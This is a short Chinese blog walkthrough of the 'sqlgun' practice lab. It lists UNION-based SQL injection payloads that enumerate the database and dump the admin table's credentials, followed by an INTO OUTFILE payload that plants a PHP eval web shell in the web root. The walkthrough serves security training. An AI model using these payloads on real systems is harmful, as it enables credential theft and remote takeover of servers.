sqlgun靶场攻略

进入靶场界面 

输入框测试回显点

-1'union select 1,2,3#看看有木有回显点

 

查看数据库名

-1'union select 1,2,database()#

 

查看表名

-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='sqlgunnews'#

 

查看admin表中列名

-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='sqlgunnews' and table_name='admin'#

 

查看admin的账号和密码

-1'union select 1,2,group_concat(id,admin,password) from admin#

 

MD5解密密码为admin

扫面目录,没有后台登录界面,有一个phpinfo.php文件,访问获取绝对路径

 

写入一句话木马

-1' union select 1,'<?php @eval($_POST[cmd]);?>',3 into outfile '/var/www/html/1.php' #

 

使用蚁剑链接

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值